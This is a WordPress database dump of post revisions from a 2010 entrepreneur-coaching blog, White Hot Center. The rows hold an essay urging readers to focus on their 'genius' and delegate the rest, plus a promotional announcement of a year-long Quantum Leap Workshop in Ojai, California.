(1228, 2, '2010-11-16 16:07:20', '2010-11-16 23:07:20', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-9', '', '', '2010-11-16 16:07:20', '2010-11-16 23:07:20', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-9/', 0, 'revision', '', 0),
(1229, 2, '2010-11-16 16:12:45', '2010-11-16 23:12:45', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus for long. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seem astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-10', '', '', '2010-11-16 16:12:45', '2010-11-16 23:12:45', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-10/', 0, 'revision', '', 0),
(1230, 2, '2010-11-16 16:12:54', '2010-11-16 23:12:54', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus for long. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seem astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-11', '', '', '2010-11-16 16:12:54', '2010-11-16 23:12:54', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-11/', 0, 'revision', '', 0),
(1231, 2, '2010-12-27 15:48:37', '2010-12-27 22:48:37', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="450" height="261" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus for long. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seem astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://whc.fbdev.org/2010/10/07/the-quantum-leap-workshop%E2%84%A2-begins-march-2011/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email </a>me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download </a>the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-autosave', '', '', '2010-12-27 15:48:37', '2010-12-27 22:48:37', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-autosave/', 0, 'revision', '', 0),
(1232, 2, '2010-11-16 16:23:56', '2010-11-16 23:23:56', 'Video introducing the White Hot Center Quantum Leap Workshop', 'Quantum Leap Workshop Intro', 0, '', 'inherit', 'open', 'open', '', 'qlw_intro', '', '', '2010-11-16 16:23:56', '2010-11-16 23:23:56', '', 1115, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/QLW_intro.mov', 0, 'attachment', 'video/quicktime', 0),
(1234, 2, '2010-11-16 16:34:59', '2010-11-16 23:34:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">Watch the Quantum Leap Workshop Video Introduction with your host, Thomson Dawson!\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-40', '', '', '2010-11-16 16:34:59', '2010-11-16 23:34:59', '', 1115, 'http://www.whitehotcenter.com/2010/11/16/1115-revision-40/', 0, 'revision', '', 0),
(1233, 2, '2010-10-22 14:24:18', '2010-10-22 21:24:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-39', '', '', '2010-10-22 14:24:18', '2010-10-22 21:24:18', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-39/', 0, 'revision', '', 0);
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(1235, 2, '2010-11-16 16:19:18', '2010-11-16 23:19:18', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus for long. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your 